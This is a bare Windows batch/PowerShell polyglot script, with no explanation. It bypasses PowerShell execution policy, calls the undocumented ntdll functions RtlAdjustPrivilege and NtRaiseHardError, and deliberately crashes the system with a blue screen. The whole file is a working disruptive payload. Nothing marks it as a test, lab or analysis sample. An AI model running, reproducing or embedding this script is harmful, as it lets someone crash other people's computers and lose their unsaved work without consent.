@powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-Expression (Get-Content '%~f0' | Select-Object -Skip 1 | Out-String)" & exit /b
$c = '[DllImport("ntdll.dll")] public static extern int RtlAdjustPrivilege(int p, bool e, bool c, out int a);
[DllImport("ntdll.dll")] public static extern int NtRaiseHardError(uint s, uint n, uint m, IntPtr p, uint o, out int r);'
$t = Add-Type -MemberDefinition $c -Name "B" -PassThru
$l = 0
$t::RtlAdjustPrivilege(19, $true, $false, [ref]$l)
$t::NtRaiseHardError(0xDEADC0DE, 0, 0, [IntPtr]::Zero, 6, [ref]$l)